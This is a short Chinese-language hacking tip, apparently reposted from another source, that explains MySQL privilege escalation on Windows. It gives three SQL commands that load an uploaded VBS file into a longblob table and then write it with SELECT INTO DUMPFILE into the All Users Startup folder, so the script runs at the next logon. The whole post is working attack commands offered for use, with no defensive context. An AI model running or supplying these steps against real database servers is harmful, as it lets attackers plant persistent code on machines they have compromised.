mysql提权之dumpfile到启动项

韩小末

如：udf手动导出提权的dumpfile方法一样，可以将某exe或vbs导出到启动项。

第一步：

create table zz(abc longblob);#注意列类型为longblob

第二步：
insert into zz values(load_file('C:\\a.vbs')); //上传的vbs路径

第三步：
select * from zz into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs';

//导入的目标地址 mysql 5.0以上要导入到系统目录


from Dookey